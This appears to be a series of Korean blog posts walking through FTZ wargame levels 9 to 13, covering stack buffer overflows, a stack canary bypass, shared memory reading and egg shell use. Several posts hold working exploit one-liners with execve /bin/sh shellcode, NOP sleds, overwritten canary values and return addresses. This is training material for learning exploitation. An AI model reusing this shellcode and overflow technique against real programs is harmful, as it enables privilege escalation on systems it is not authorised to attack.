또 BOF다...


그런데 long이라는 16진수 값이 생겼고,  중반에 if를 보면 i값이 변하면 버퍼오버플로우 경고 후 종료하는 구조로 이루어져 있다.

여기서, 이 문제를 푸는데 필요한 개념은 스택가드이다.


스택가드란 간략하게 BOF를 막기위한 방법중 하나로써, 특정한 변수를 선언하고 그 변수의 값이 일치한지 확인하여

만약 일치하지 않는다면 BOF 경고를 한다.



/tmp로 attackme를 복사 후에 디버깅을 해보자



위와 같이나오고 바로 스택가드부분을 검사하는 부분을 BP를 걸어주자<main+69>

b *0x080484e5

r `python -c 'print "A"*1024'`

x/264x $esp

를 차례대로 입력하고 아래로 내려가면



\x41이 채워지고 12바이트 띄우고 스택가드가 있는것을 볼수 있다.

여기서 더미가 12바이트라는것도 알 수 있고. 추가적으로 

메모리 계산을 해보면


1048중에

1024, 12, 4바이트를 빼면 8바이트가 더 남고 이 8바이트는 SFP와 스택가드사이의 더미값이다.


그럼 공격 코드를 작성해보자. 쉘코드는 25바이트 짜리 사용하겠다.


./attackme `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*999+"A"*12+"\x67\x45\x23\x01"+"A"*12+"\x40\xd4\xff\xbf"'`

가 될것이다.


(갑자기 세기멘테이지 에러뜸,, 트러블 슈팅중..)

bash환경변수로 주소값까지 구해서 했는데도 안됨


---------------------------------

추가


세그멘테이션 에러로인해 환경변수를 사용하였다... 이게 제일 확실한 듯하다.

아래와같이 쿠션"\x90"을 99개넣고 25바이트짜리 쉘코드를 code라는 이름으로 환경변수 작성하고




환경변수 주소를 가져오는 프로그램을 프로그래밍 한다.

#include<stdio.h>


int main(void)

{

printf("0x%x\n",getenv("code"));

return 0;

}


주소를 얻은뒤에 아래와 같이 공격하면 쉘코드를 획득할 수가 있다.




'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level15 풀이(해결)  (0) 2016.07.16
FTZ Level14 풀이  (0) 2016.07.16
FTZ Level12 풀이(EggShell로 해결)  (0) 2016.07.16
FTZ Level11 풀이  (0) 2016.07.15
FTZ Level10 풀이  (0) 2016.07.15


앞에서 했던 Level11과는 살짝 다르다.


그러면 바로 똑같이 ./tmp디렉토리에 코딩후 디버깅해보자.



위와 같이 나온다.


108만큼 크기를 10진수로 환산하면 264

str[256]+더미 8 만큼이 있다. 그이후로는 각각 SFP, RET.


우선 b *0x080483e9를 입력하여 BP를 걸고

r을 실행하고, 문장을 입력하라고 뜨면 AAAA를 입력한다.



위와 같이 만들어주고 0xbfffe850에 AAAA가 들어가 있는것을 볼 수가 있고, 저 곳이 str배열의 처음 부분이다.

그럼 계산해보자.. 쉘코드는 마찬가지로 이전에 쓴 코드를 쓰겟다.




ㅡㅡ? 맞게입력한거 같은데 자꾸 세그멘테이지 오류가 뜬다.. 주소가 잘못된거는 아닐텐데..


다시 원본 디버깅 해봐야겠다.


아 진짜...


책을 참고하긴 했지만.. 틀린부분은 없다고 생각된다..


(ㅠㅠ 나중에 이어서..)


-------------------------------------------------------------------

추가 


egg 쉘을 이용하였으며 eggshell 소스코드는 따로 별첨하겠다.



에그쉘로 밑에 쉘의 주소가 출력된다. 고로 저쪽으로만 리턴시켜주면 되므로



위와같이 클리어


'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level14 풀이  (0) 2016.07.16
FTZ Level13 풀이(해결)  (0) 2016.07.16
FTZ Level11 풀이  (0) 2016.07.15
FTZ Level10 풀이  (0) 2016.07.15
FTZ Level9 풀이  (0) 2016.07.15


BOF의 냄새...


코드해석은 따로 안하고

바로 GDB를 돌려보자..



<main+3>부분을 보면 108만큼의 공간을 할당한다.

10진수로 변환하면 264이다.


메모리는 str(=256) + 더미(=8) + SFP(=4) + RET(=4) 만큼 있다.


그러면 쉘을 따는 주소를 str에 넣고 RET에는 그 쉘로가는 주소를 넣으면 될것이다.


그러면 GDB디버깅을 위해 ./tmp에 attackme를 코딩하자

그리고나서 GDB디버깅 ㄱㄱ


그럼 str주소를 찾아보면 0xbffffb50가 되겠고., NOP를 채우고 맞는 쉘값을 넣고 RET를 0xbffffb50로 주게되면

최종적인 공격 코드는 ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b

\xcd\x80"+"\x50\xfb\xff\xbf"'`가 될것이다.

(사진은 트러블 슈팅 불가로 인해 미첨부.ㅠ;;)



결과는



성공적이였다.

'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level13 풀이(해결)  (0) 2016.07.16
FTZ Level12 풀이(EggShell로 해결)  (0) 2016.07.16
FTZ Level10 풀이  (0) 2016.07.15
FTZ Level9 풀이  (0) 2016.07.15
FTZ Level8 풀이  (0) 2016.07.15


여기서 필요한 개념은 공유메모리


공유메모리란,

용어 그대로 프로세스 간에 공유해서 쓰는 메모리를 의미한다.

이게 왜 생겼냐하면 역시나 서로간에 데이터를 공유해야하는 필요성이 발생했고 데몬 형식으로 항상 실행되어 있다.


그리고 공유메모리를 참조할 수 있게하는 함수들도 나와있다.

(필요하면 찾아서..)


그럼 이번 레벨의 푸는 방법은.. 공유메모리에 접근해서 대화의 내용을 가져오는 것이다!


Key_t의 값은 7530이라는것은 알고있고, 바로 공격 프로그램 코딩에 들어간다!



간단해 보이지않는... 공격코드이다.


차례대로 간략히 설명하자면

sharedMemID : 공유메모리의 ID를 읽어옴

sharedMemory : 프로세스에서 공유 메모리 공간을 사용할수 있게 연결해줌

memcpy : 공유메모리 공간에 있는 값을 buf라는 변수에 복사한다.

shmdt : 공유 메모리 연결 분리


그럼 컴파일후 작동시작!


클리어.

'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level12 풀이(EggShell로 해결)  (0) 2016.07.16
FTZ Level11 풀이  (0) 2016.07.15
FTZ Level9 풀이  (0) 2016.07.15
FTZ Level8 풀이  (0) 2016.07.15
FTZ Level7 풀이  (0) 2016.07.15



이제부터 BOF문제가 주를 이룰 것이다.

힌트로 나온 소스코드를 보니 buf2라는 문자열 변수에 go라는 문자열이 들어가면 쉘이 따지는 구조이다.

buf2는 10만큼 주어졌고, buf도 10만큼 주어졌다.

우선 실행해서 작동시켜보자


아무일도 안일어난다..


이제 여기서 필요한것은 GDB!! GDB는 리눅스에 있는 대표적인 디버거이다.

gdb /usr/bin/bof를 입력하자. 그러면 권한이 level9는 실행만가능하기 때문에 디버깅이 되지 않는다.

고로 프로그램을 /home/level9/tmp에 직접 bof라는 프로그램을 c로 프로그래밍하고 컴파일까지하고 디버깅을 해보자


디버거 실행후 disas main으로 메인함수의 어셈을보자



main+3 부분을 보면 0x28만큼 뺀다고 되어있는데

통상적으로 먼저 선언한 변수들의 크기이다. 참고로 16진수다..

또한 제일 나중에 선언한 변수가 제일 낮은 메모리주소에 들어간다.

즉 변환하면 40이다.. 어..? 생각보다 큰데??


메모리 구조를 낮은 주소에서 높은 주소방향으로 대략적으로 그리면

크기 : 변수

10   :  buf[10]

10   :  buf2[10]

 4    :  SFP

 4    :  RET

가 되는데 총 28만큼 썼으며 앞에서 말한 40에서 12만큼의 공간이 남는다.


여기서 추가적으로 더미라는 개념도 들어가는데

소스코드의 일부분에 fgets와 strncmp 부분을 보자




lea ~~하고 주소부분을 보면 저 주소가 각각 buf, buf2라는 것을 짐작할 수가 있다.

(C 소스코드도 보면서)


그렇다면 저 두 차가 더미를 포함한 메모리의 크기가 되겠다.

계산하면 16이고 다시 메모리 구조를 낮은->높은 순으로 다시 작성하면

크기 : 변수

10   :  buf[10]

 6    : 더미

10   :  buf2[10]

 6    : 더미

 4    :  SFP

 4    :  RET

로 딱 40이 될 것이다.

그러면 답나왔다.


buf에 더미포함 16개의 의미없는 값넣고 go를 입력하면

buf2에 자연스럽게 go가 들어갈것이다.



공격에 성공하였고, Level10권한으로 쉘이 떨어진 것이다

저기서 my-pass 입력하면 패스워드 득!























'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level11 풀이  (0) 2016.07.15
FTZ Level10 풀이  (0) 2016.07.15
FTZ Level8 풀이  (0) 2016.07.15
FTZ Level7 풀이  (0) 2016.07.15
FTZ Level6 풀이  (0) 2016.07.15

+ Recent posts